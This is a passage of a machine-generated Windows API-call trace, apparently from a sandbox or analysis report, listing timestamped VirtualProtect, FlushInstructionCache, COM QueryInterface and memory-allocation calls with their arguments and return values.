lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.102] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.102] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.102] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d308 | out: ppvObject=0x23d308*=0x0) returned 0x80004002 [0095.102] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d300 | out: ppvObject=0x23d300*=0x0) returned 0x80004002 [0095.102] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.102] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.102] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d308 | out: ppvObject=0x23d308*=0x0) returned 0x80004002 [0095.102] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d300 | out: ppvObject=0x23d300*=0x0) returned 0x80004002 [0095.102] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.103] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.103] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d308 | out: ppvObject=0x23d308*=0x0) returned 0x80004002 [0095.103] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d300 | out: ppvObject=0x23d300*=0x0) returned 0x80004002 [0095.103] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.103] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.103] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d308 | out: ppvObject=0x23d308*=0x0) returned 0x80004002 [0095.103] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d300 | out: ppvObject=0x23d300*=0x0) returned 0x80004002 [0095.103] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.103] GetAsyncKeyState (vKey=27) returned 0 [0095.103] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdad2d0 [0095.103] IMalloc:Alloc (This=0x7feffc15380, cb=0x7f0) returned 0xb71eb80 [0095.103] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdad2d0, cb=0x90) returned 0xbdad2d0 [0095.103] IMalloc:Free (This=0x7feffc15380, pv=0xbe54150) [0095.103] GetCurrentProcess () returned 0xffffffffffffffff [0095.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.103] GetCurrentProcess () returned 0xffffffffffffffff [0095.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.103] GetCurrentProcess () returned 0xffffffffffffffff [0095.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.104] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.104] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.104] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.104] GetCurrentProcess () returned 0xffffffffffffffff [0095.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.104] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.105] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.105] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.105] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffffffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.105] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.106] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.106] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.106] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffffffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.107] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.107] GetCurrentProcess () returned 0xffffffffffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.107] GetCurrentProcess () returned 0xffffffffffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.107] GetCurrentProcess () returned 0xffffffffffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.107] GetCurrentProcess () returned 0xffffffffffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.107] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.107] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.107] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.107] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.107] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.107] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.107] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.107] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.107] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.107] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.107] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.107] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.107] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.107] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.107] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.107] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.107] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.108] GetAsyncKeyState (vKey=27) returned 0 [0095.108] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdad370 [0095.108] IMalloc:Alloc (This=0x7feffc15380, cb=0x7e8) returned 0xba6e540 [0095.108] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdad370, cb=0x90) returned 0xbdad370 [0095.108] IMalloc:Free (This=0x7feffc15380, pv=0xbe541b0) [0095.108] GetCurrentProcess () returned 0xffffffffffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffffffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffffffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffffffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffffffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.108] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.109] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.109] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.109] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.110] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.110] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.110] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffffffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.110] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.111] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.111] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.111] 